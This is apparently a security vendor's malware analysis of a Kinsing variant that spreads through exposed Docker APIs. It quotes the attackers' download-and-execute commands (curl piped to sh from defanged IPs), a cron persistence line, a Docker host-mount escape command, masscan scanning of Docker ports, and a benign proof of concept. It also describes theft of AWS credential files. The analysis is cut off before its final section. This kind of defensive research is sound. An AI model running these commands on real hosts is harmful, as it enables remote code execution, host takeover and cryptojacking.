    We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an... Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

bottom of page